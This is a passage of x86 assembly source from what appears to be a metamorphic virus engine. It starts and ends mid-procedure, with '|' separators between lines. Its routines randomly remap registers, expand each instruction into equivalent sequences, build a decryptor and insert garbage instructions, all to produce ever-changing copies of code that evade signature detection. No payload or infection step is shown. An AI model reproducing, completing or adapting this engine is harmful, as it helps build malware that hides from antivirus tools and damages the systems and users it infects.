cmp eax, 70h
|
|
jb @@CheckLastBit
|
|
cmp eax, 80h
|
|
jb @@NoMem
|
|
cmp eax, 0CEh
|
|
jbe @@Common
|
|
cmp eax, 0E7h
|
|
jbe @@CheckLastBit
|
|
cmp eax, 0EAh
|
|
jz @@UsesMem
|
|
cmp eax, 0EBh
|
|
jz @@UsesMem
|
|
cmp eax, 0F1h
|
|
jz @@UsesMem
|
|
cmp eax, 0F3h
|
|
jz @@UsesMem
|
|
cmp eax, 0F6h
|
|
jz @@UsesMem
|
|
cmp eax, 0F7h
|
|
jz @@UsesMem
|
|
cmp eax, 0F8h
|
|
jz @@UsesMem
|
|
cmp eax, 0FCh
|
|
jz @@UsesMem
|
|
@@NoMem: xor eax, eax
|
|
ret
|
|
@@CheckLastBit:
|
|
and eax, 1
|
|
ret
|
|
@@Common:
|
|
cmp eax, 4Eh
|
|
jz @@UsesMem
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jb @@NoMem
|
|
cmp eax, 4
|
|
ja @@NoMem
|
|
@@UsesMem:
|
|
mov eax, 1
|
|
ret
|
|
CheckIfInstructionUsesMem endp
|
|
|
|
;----------------------------------------------------------------------------------
|
|
XpandCode proc
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+ExpansionResult]
|
|
|
|
mov eax, [ebp+SizeOfExpansion]
|
|
mov [ebp+Xp_RecurseLevel], eax
|
|
|
|
mov eax, [ebp+CreatingADecryptor]
|
|
or eax, eax
|
|
jnz @@KeepRegisterTranslation
|
|
|
|
mov eax, 8
|
|
mov [ebp+Xp_Register0], eax
|
|
mov [ebp+Xp_Register1], eax
|
|
mov [ebp+Xp_Register2], eax
|
|
mov [ebp+Xp_Register3], eax
|
|
mov [ebp+Xp_Register5], eax
|
|
mov [ebp+Xp_Register6], eax
|
|
mov [ebp+Xp_Register7], eax
|
|
mov eax, 4
|
|
mov [ebp+Xp_Register4], eax
|
|
@@Other8BitsReg:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 3
|
|
ja @@Other8BitsReg
|
|
mov ebx, [ebp+Register8Bits]
|
|
call Xpand_SetRegister4Xlation
|
|
@@OtherDeltaReg:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 2
|
|
jbe @@OtherDeltaReg
|
|
cmp eax, 4
|
|
jz @@OtherDeltaReg
|
|
mov ebx, [ebp+DeltaRegister]
|
|
call Xpand_SetRegister4Xlation
|
|
or eax, eax
|
|
jz @@OtherDeltaReg
|
|
mov ebx, -1
|
|
@@NextRegister:
|
|
add ebx, 1
|
|
cmp ebx, [ebp+DeltaRegister]
|
|
jz @@NextRegister
|
|
cmp ebx, [ebp+Register8Bits]
|
|
jz @@NextRegister
|
|
cmp ebx, 4
|
|
jz @@NextRegister
|
|
cmp ebx, 8
|
|
jz @@EndOfRegisters
|
|
@@OtherRegister:
|
|
call Random
|
|
and eax, 7
|
|
cmp eax, 4
|
|
jz @@OtherRegister
|
|
call Xpand_SetRegister4Xlation
|
|
or eax, eax
|
|
jz @@OtherRegister
|
|
jmp @@NextRegister
|
|
@@EndOfRegisters:
|
|
mov eax, [ebp+DeltaRegister]
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+TranslatedDeltaRegister], eax
|
|
@@KeepRegisterTranslation:
|
|
|
|
@@Expand:
|
|
call XpandThisInstruction
|
|
add esi, 10h
|
|
cmp esi, [ebp+AddressOfLastInstruction]
|
|
jnz @@Expand
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
call Xpand_UpdateLabels
|
|
ret
|
|
XpandCode endp
|
|
|
|
|
|
Xpand_TranslateRegister proc
|
|
or eax, eax
|
|
jz @@Get0
|
|
cmp eax, 1
|
|
jz @@Get1
|
|
cmp eax, 2
|
|
jz @@Get2
|
|
cmp eax, 3
|
|
jz @@Get3
|
|
cmp eax, 4
|
|
jz @@Return
|
|
cmp eax, 5
|
|
jz @@Get5
|
|
cmp eax, 6
|
|
jz @@Get6
|
|
cmp eax, 7
|
|
jz @@Get7
|
|
mov eax, 8
|
|
ret
|
|
@@Get7: mov eax, [ebp+Xp_Register7]
|
|
ret
|
|
@@Get0: mov eax, [ebp+Xp_Register0]
|
|
ret
|
|
@@Get1: mov eax, [ebp+Xp_Register1]
|
|
ret
|
|
@@Get2: mov eax, [ebp+Xp_Register2]
|
|
ret
|
|
@@Get3: mov eax, [ebp+Xp_Register3]
|
|
ret
|
|
@@Get5: mov eax, [ebp+Xp_Register5]
|
|
ret
|
|
@@Get6: mov eax, [ebp+Xp_Register6]
|
|
@@Return: ret
|
|
Xpand_TranslateRegister endp
|
|
|
|
Xpand_ReverseTranslation proc
|
|
cmp eax, 4
|
|
jz @@Return
|
|
cmp eax, [ebp+Xp_Register0]
|
|
jz @@Return0
|
|
cmp eax, [ebp+Xp_Register1]
|
|
jz @@Return1
|
|
cmp eax, [ebp+Xp_Register2]
|
|
jz @@Return2
|
|
cmp eax, [ebp+Xp_Register3]
|
|
jz @@Return3
|
|
cmp eax, [ebp+Xp_Register5]
|
|
jz @@Return5
|
|
cmp eax, [ebp+Xp_Register6]
|
|
jz @@Return6
|
|
cmp eax, [ebp+Xp_Register7]
|
|
jz @@Return7
|
|
mov eax, 8
|
|
@@Return: ret
|
|
@@Return0: xor eax, eax
|
|
ret
|
|
@@Return1: mov eax, 1
|
|
ret
|
|
@@Return2: mov eax, 2
|
|
ret
|
|
@@Return3: mov eax, 3
|
|
ret
|
|
@@Return5: mov eax, 5
|
|
ret
|
|
@@Return6: mov eax, 6
|
|
ret
|
|
@@Return7: mov eax, 7
|
|
ret
|
|
Xpand_ReverseTranslation endp
|
|
|
|
Xpand_SetRegister4Xlation proc
|
|
cmp eax, [ebp+Xp_Register0]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register1]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register2]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register3]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register5]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register6]
|
|
jz @@ReturnError
|
|
cmp eax, [ebp+Xp_Register7]
|
|
jz @@ReturnError
|
|
or ebx, ebx
|
|
jz @@SetAt0
|
|
cmp ebx, 1
|
|
jz @@SetAt1
|
|
cmp ebx, 2
|
|
jz @@SetAt2
|
|
cmp ebx, 3
|
|
jz @@SetAt3
|
|
cmp ebx, 5
|
|
jz @@SetAt5
|
|
cmp ebx, 6
|
|
jz @@SetAt6
|
|
@@SetAt7: mov [ebp+Xp_Register7], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt0: mov [ebp+Xp_Register0], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt1: mov [ebp+Xp_Register1], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt2: mov [ebp+Xp_Register2], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt3: mov [ebp+Xp_Register3], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt5: mov [ebp+Xp_Register5], eax
|
|
jmp @@ReturnNoError
|
|
@@SetAt6: mov [ebp+Xp_Register6], eax
|
|
jmp @@ReturnNoError
|
|
@@ReturnError:
|
|
xor eax, eax
|
|
ret
|
|
@@ReturnNoError:
|
|
mov eax, 1
|
|
ret
|
|
Xpand_SetRegister4Xlation endp
|
|
|
|
XpandThisInstruction proc
|
|
mov eax, [esi+0Bh]
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
mov [esi+0Ch], edi
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
|
|
cmp eax, 4Ch
|
|
ja @@Xpand_Next001
|
|
xor eax, eax
|
|
@@Generic: mov [ebp+Xp_8Bits], eax
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, [esi]
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@OPRegImm
|
|
cmp eax, 1
|
|
jz @@OPRegReg
|
|
cmp eax, 2
|
|
jz @@OPRegMem
|
|
cmp eax, 3
|
|
jz @@OPMemReg
|
|
@@OPMemImm:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@OPMemImm32
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@OPMemImmSet
|
|
or eax, 0FFFFFF00h
|
|
jmp @@OPMemImmSet
|
|
@@OPMemImm32:
|
|
mov eax, [esi+7]
|
|
@@OPMemImmSet:
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xpand_SetMemoryAddress
|
|
|
|
call Xp_GenOPMemImm
|
|
jmp @@Ret
|
|
@@OPRegImm:
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@OPRegImm32
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@OPRegImmSet
|
|
or eax, 0FFFFFF00h
|
|
jmp @@OPRegImmSet
|
|
@@OPRegImm32:
|
|
mov eax, [esi+7]
|
|
@@OPRegImmSet:
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPRegImm
|
|
jmp @@Ret
|
|
@@OPRegReg:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPRegReg
|
|
jmp @@Ret
|
|
@@OPRegMem:
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPRegMem
|
|
jmp @@Ret
|
|
@@OPMemReg:
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next001:
|
|
cmp eax, 00h+80h
|
|
jb @@Xpand_Next002
|
|
cmp eax, 4Ch+80h
|
|
ja @@Xpand_Next002
|
|
mov eax, 80h
|
|
jmp @@Generic
|
|
|
|
|
|
@@Xpand_Next002:
|
|
cmp eax, 50h
|
|
jnz @@Xpand_Next003
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next003:
|
|
cmp eax, 51h
|
|
jnz @@Xpand_Next004
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenPUSHMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next004:
|
|
cmp eax, 58h
|
|
jnz @@Xpand_Next005
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next005:
|
|
cmp eax, 59h
|
|
jnz @@Xpand_Next006
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenPOPMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next006:
|
|
cmp eax, 68h
|
|
jnz @@Xpand_Next007
|
|
mov eax, [esi+7]
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenPUSHImm
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next007:
|
|
cmp eax, 70h
|
|
jb @@Xpand_Next008
|
|
cmp eax, 7Fh
|
|
ja @@Xpand_Next008
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, [esi+1]
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenJcc
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next008:
|
|
cmp eax, 0E0h
|
|
jnz @@Xpand_Next009
|
|
call Xpand_SetRegister
|
|
call Xp_GenNOTReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next009:
|
|
cmp eax, 0E1h
|
|
jnz @@Xpand_Next010
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenNOTMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next010:
|
|
cmp eax, 0E2h
|
|
jnz @@Xpand_Next011
|
|
call Xpand_Set8BitsRegister
|
|
call Xp_GenNOTReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next011:
|
|
cmp eax, 0E3h
|
|
jnz @@Xpand_Next012
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, 80h
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenNOTMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next012:
|
|
cmp eax, 0E4h
|
|
jnz @@Xpand_Next013
|
|
call Xpand_SetRegister
|
|
call Xp_GenNEGReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next013:
|
|
cmp eax, 0E5h
|
|
jnz @@Xpand_Next014
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenNEGMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next014:
|
|
cmp eax, 0E6h
|
|
jnz @@Xpand_Next015
|
|
call Xpand_Set8BitsRegister
|
|
call Xp_GenNEGReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next015:
|
|
cmp eax, 0E7h
|
|
jnz @@Xpand_Next016
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, 80h
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenNEGMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next016:
|
|
cmp eax, 0E8h
|
|
jnz @@Xpand_Next017
|
|
@@CopyInstruction:
|
|
mov eax, [esi]
|
|
mov [edi], eax
|
|
mov eax, [esi+4]
|
|
mov [edi+4], eax
|
|
mov eax, [esi+7]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next017:
|
|
cmp eax, 0E9h
|
|
jnz @@Xpand_Next018
|
|
mov eax, [esi+1]
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenJMP
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next018:
|
|
cmp eax, 0EAh
|
|
jnz @@Xpand_Next019
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetMemoryAddress
|
|
|
|
call Xp_GenCALLMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next019:
|
|
cmp eax, 0EBh
|
|
jnz @@Xpand_Next020
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetMemoryAddress
|
|
call Xp_GenJMPMem
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next020:
|
|
cmp eax, 0ECh
|
|
jnz @@Xpand_Next021
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetRegister
|
|
call Xp_GenCALLReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next021:
|
|
cmp eax, 0EDh
|
|
jnz @@Xpand_Next022
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xpand_SetRegister
|
|
call Xp_GenJMPReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next022:
|
|
cmp eax, 0F0h
|
|
jnz @@Xpand_Next023
|
|
@@Xpand_TranslateReg:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [esi+1], eax
|
|
jmp @@CopyInstruction
|
|
|
|
@@Xpand_Next023:
|
|
cmp eax, 0F2h
|
|
jz @@Xpand_TranslateReg
|
|
|
|
@@Xpand_Next024:
|
|
cmp eax, 0F1h
|
|
jnz @@Xpand_Next025
|
|
@@Xpand_TranslateMem:
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, [esi]
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [esi+7]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next025:
|
|
cmp eax, 0F3h
|
|
jz @@Xpand_TranslateMem
|
|
|
|
@@Xpand_Next026:
|
|
cmp eax, 0F4h
|
|
jnz @@Xpand_Next027
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
mov eax, 1
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
mov eax, 2
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next027:
|
|
cmp eax, 0F5h
|
|
jnz @@Xpand_Next028
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 2
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
mov eax, 1
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
xor eax, eax
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next028:
|
|
cmp eax, 0F6h
|
|
jnz @@Xpand_Next029_
|
|
xor eax, eax
|
|
mov [ebp+Xp_Register], eax
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next029_:
|
|
cmp eax, 0F8h
|
|
jnz @@Xpand_Next029
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
call Xpand_SetMemoryAddress
|
|
call Xp_GenMOVZX
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next029:
|
|
cmp eax, 0FCh
|
|
jnz @@Xpand_Next030
|
|
call Xpand_SetMemoryAddress
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenLEA
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next030:
|
|
cmp eax, 0FEh
|
|
jnz @@Xpand_Next031
|
|
call Xp_GenRET
|
|
jmp @@Ret
|
|
|
|
@@Xpand_Next031:
|
|
cmp eax, 0FFh
|
|
jz @@Return
|
|
|
|
@@Xpand_Next032:
|
|
cmp eax, 0F7h
|
|
jnz @@Xpand_Next033
|
|
|
|
call Xpand_SetMemoryAddress
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, [esi+7]
|
|
and eax, 0FFh
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov eax, [esi+8]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
mov eax, [esi+9]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
call Xp_MakeSET_WEIGHT
|
|
|
|
@@Xpand_Next033:
|
|
|
|
@@Ret: call Random
|
|
and eax, 02h
|
|
or eax, eax
|
|
jnz @@Return
|
|
mov eax, [esi]
|
|
and eax, 78h
|
|
cmp eax, 38h
|
|
jz @@OnlyNOP
|
|
cmp eax, 48h
|
|
jz @@OnlyNOP
|
|
cmp eax, 0EAh
|
|
jz @@OnlyNOP
|
|
cmp eax, 0F6h
|
|
jz @@OnlyNOP
|
|
call Xp_InsertGarbage
|
|
@@Return: ret
|
|
@@OnlyNOP: mov eax, 90FDh
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
mov [edi+0Bh], eax
|
|
mov [edi+0Ch], esi
|
|
add edi, 10h
|
|
ret
|
|
XpandThisInstruction endp
|
|
|
|
Xpand_SetMemoryAddress proc
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 9
|
|
jnz @@Next_NoIdent
|
|
mov eax, [esi+3]
|
|
mov eax, [eax]
|
|
add eax, [ebp+New_DATA_SECTION]
|
|
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
mov eax, [ebp+DeltaRegister]
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
ret
|
|
@@Next_NoIdent:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 8
|
|
jae @@Next_Index
|
|
call Xpand_TranslateRegister
|
|
@@Next_Index:
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
mov eax, [esi+2]
|
|
mov ecx, eax
|
|
and ecx, 0C0h
|
|
and eax, 3Fh
|
|
cmp eax, 8
|
|
jae @@Next_Index2
|
|
push ecx
|
|
call Xpand_TranslateRegister
|
|
pop ecx
|
|
or eax, ecx
|
|
@@Next_Index2:
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
mov eax, [esi+3]
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
call Random
|
|
and eax, 1
|
|
jz @@Return
|
|
or ecx, ecx
|
|
jnz @@Return
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
mov ecx, [ebp+Xp_Mem_Index2]
|
|
mov [ebp+Xp_Mem_Index1], ecx
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
@@Return: ret
|
|
Xpand_SetMemoryAddress endp
|
|
|
|
|
|
Xpand_UpdateLabels proc
|
|
mov ebx, [ebp+LabelTable]
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
|
|
@@LoopLabel: mov eax, [ebx]
|
|
mov eax, [eax+0Ch]
|
|
mov [ebx+4], eax
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopLabel
|
|
ret
|
|
Xpand_UpdateLabels endp
|
|
|
|
Xpand_Set8BitsRegister proc
|
|
mov eax, 80h
|
|
jmp Xpand_SetRegister_Common
|
|
Xpand_Set8BitsRegister endp
|
|
|
|
Xpand_SetRegister proc
|
|
xor eax, eax
|
|
Xpand_SetRegister_Common:
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
call Xpand_TranslateRegister
|
|
mov [ebp+Xp_Register], eax
|
|
ret
|
|
Xpand_SetRegister endp
|
|
|
|
|
|
Xp_GenLEA proc
|
|
call Xp_SaveOperation
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
cmp eax, [ebp+Xp_Register]
|
|
jz @@Addition1
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, [ebp+Xp_Register]
|
|
jz @@Addition2
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
@@MOV_Other:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@MOV_Other
|
|
cmp eax, 1
|
|
jz @@MOV_FirstIndex1
|
|
cmp eax, 2
|
|
jz @@MOV_FirstIndex2
|
|
@@MOV_FirstAddition:
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
or eax, eax
|
|
jz @@MOV_Finished2
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenOPRegImm
|
|
xor eax, eax
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex1:
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
cmp eax, 8
|
|
jz @@MOV_Finished2
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
call Xp_GenOPRegReg
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex2:
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, 8
|
|
jz @@MOV_Finished2
|
|
cmp eax, 8
|
|
jb @@MOV_FirstIndex2_Set
|
|
sub eax, 40h
|
|
@@MOV_FirstIndex2_Set:
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
call Xp_GenOPRegReg
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, 7
|
|
jbe @@MOV_FirstIndex2_Set8
|
|
sub eax, 40h
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex2_Set8:
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
@@MOV_Finished:
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
@@MOV_Finished2:
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
cmp eax, 8
|
|
jnz @@MOV_Other
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, 8
|
|
jnz @@MOV_Other
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
or eax, eax
|
|
jnz @@MOV_Other
|
|
call Xp_RestoreOperation
|
|
ret
|
|
@@Addition1: mov eax, 8
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
jmp @@MOV_Finished
|
|
@@Addition2: mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
jmp @@MOV_Finished
|
|
Xp_GenLEA endp
|
|
|
|
Xp_GenOPRegReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Double
|
|
@@Triple: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h
|
|
jae @@Double
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Double: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Double_MOV
|
|
cmp eax, 38h
|
|
jz @@Double_CMP
|
|
cmp eax, 48h
|
|
jz @@Double_TEST
|
|
@@Double_OP: call Xp_SaveOperation
|
|
call Xp_GetTempVar
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenOPMemReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_MOV:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Double_OP
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_CMP:
|
|
mov ecx, 3Bh
|
|
mov edx, 2Bh
|
|
@@Double_CMPTEST_Common:
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_OP
|
|
call Xp_SaveOperation
|
|
push ecx
|
|
push edx
|
|
call Xp_GetTempVar
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemReg
|
|
pop edx
|
|
pop ecx
|
|
call Random
|
|
and eax, 1
|
|
jz @@Double_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Double_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits]
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Double_TEST:
|
|
mov ecx, 23h
|
|
mov edx, 4Bh
|
|
jmp @@Double_CMPTEST_Common
|
|
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h
|
|
jz @@Single_MOV
|
|
or eax, eax
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation]
|
|
add eax, 1
|
|
add eax, [ebp+Xp_8Bits]
|
|
